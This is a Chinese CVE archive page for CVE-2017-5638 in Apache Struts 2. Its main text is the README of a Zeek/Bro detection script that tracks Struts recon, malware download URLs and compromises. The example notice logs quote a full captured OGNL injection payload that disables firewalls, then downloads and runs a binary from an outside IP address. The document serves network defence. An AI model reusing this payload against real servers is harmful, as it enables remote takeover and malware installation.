目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2017-5638 PoC — Apache Struts 2 输入验证错误漏洞

来源
关联漏洞
标题:Apache Struts 2 输入验证错误漏洞 (CVE-2017-5638)
Description:Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 Apache Struts 2 2.3.32之前的2 2.3.x版本和2.5.10.1之前的2.5.x版本中的Jakarta Multipart解析器存在安全漏洞,该漏洞源于程序没有正确处理文件上传。远程攻击者可借助带有#cmd=字符串的特制Content-Type HTTP头利用该漏洞执行任意命令。
Description
detection for Apache Struts recon and compromise 
介绍
I extended Scott Campbell's script further, made it more complicated :)

While "HTTP_StrutsAttack" will stop 100% of the recon, there was still miniscule chance that if a scanner hits a vulnerable system, even though we'd block the scanner, vulnerable system might still do the wget included in the HTTP request and execute the malware. Since we aren't blocking the malware download IP in wget URL which is almost always a different one then recon IP.

So the extended script also extracts the malware download IP

1) Generate the following notices:

        redef enum Notice::Type += {
                Attempt,
                MalwareURL,
                HostileDomainLookup,
                MalwareURLClick,
                FileDownload,
                Compromise,
        };


- So now this script will extract the "wget" URL from Attempt and then if the URL has a domain (or cnamed domain) script will further track down the IP addresses of malware host and watch for activity.

- if wget URL is seen in http, we'd generate a MalwareURLClick notice

- further notices for FileDownload and Compromise.

- This script is also clusterized.

I ran it over 24 hours and things look stable with respect to script. I am still sure there might be some lame detection holes. so
 feel free to modify and let me know too.

Surprisingly, unlike previous times, I don't see huge volume of Struts scanners. I am seeing in range of ~20's a day instead of ~1
000's a day.

Here is example notices:

1489228734.171565       CbVq832QovIwAQddf2      1.24.191.108    65000   131.243.X.Y     80      -       -       -       tcp     Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}  -       1.24.191.108    131.243.X.Y     80      -       worker-5        Notice::ACTION_LOG      3600.000000     F       -      --       -       -


1489237401.399275       C90k4o1Zrn8D7vaXoe      124.117.244.34  49728   128.3.Y.Z       80      -       -       -       tcp     Struts::MalwareURL      Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;]    -       124.117.244.34  128.3.Y.Z       80      -       worker-13       Notice::ACTION_LOG      3600.000000     F       -       -       -       -       -



1489240937.969456       CpUhgp1VJnPuOLY8h       128.3.X.Y       33755   121.42.249.245  1996    -       -       -       tcp     Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx]   -       128.3.X.Y       121.42.249.245  1996    -       worker-15       Notice::ACTION_LOG      60.000000       F       -       -       -       -       -


1489240937.969456       CpUhgp1VJnPuOLY8h       128.3.X.Y       33755   121.42.249.245  1996    -       -       -       tcp     Struts::Compromise      Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx]        -       128.3.X.Y       121.42.249.245  1996    -       worker-15       Notice::ACTION_LOG      3600.000000     F       -       -       -       -       -


1489240940.206456       CpUhgp1VJnPuOLY8h       128.3.X.Y       33755   121.42.249.245  1996    Frx9jZ1JkcrsVtgOkg      application/x-executable        http://121.42.249.245:1996/tcp/xhx      tcp     Struts::FileDownload    http://121.42.249.245:1996/tcp/xhx      http://121.42.249.245:1996/tcp/xhx      128.3.X.Y       121.42.249.245  1996    -       worker-15       Notice::ACTION_LOG      3600.000000     F
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →